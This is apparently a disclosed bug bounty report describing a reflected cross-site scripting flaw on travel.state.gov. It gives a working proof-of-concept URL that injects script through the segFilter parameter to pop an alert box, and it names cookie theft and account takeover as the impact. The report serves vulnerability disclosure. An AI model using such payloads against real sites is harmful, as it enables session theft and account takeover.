U.S. Department of State · Report #1818628
RXSS on https://travel.state.gov/content/travel/en/search.html
Validstatus
mediumseverity
30upvotes
8 Mar 2023disclosed
How it was found
Summary:
Hello team,
I Found RXSS via segFilter parameter on url : https://travel.state.gov/content/travel/en/search.html/?search_input=hello&data-sia=false&data-con=false&search_btn=&segFilter=x%27%29%3bconfirm%28%271
Open url, you will see an alert box pop up:
{F2096019}
Impact
Steal session cookies to account takeovers execute JS code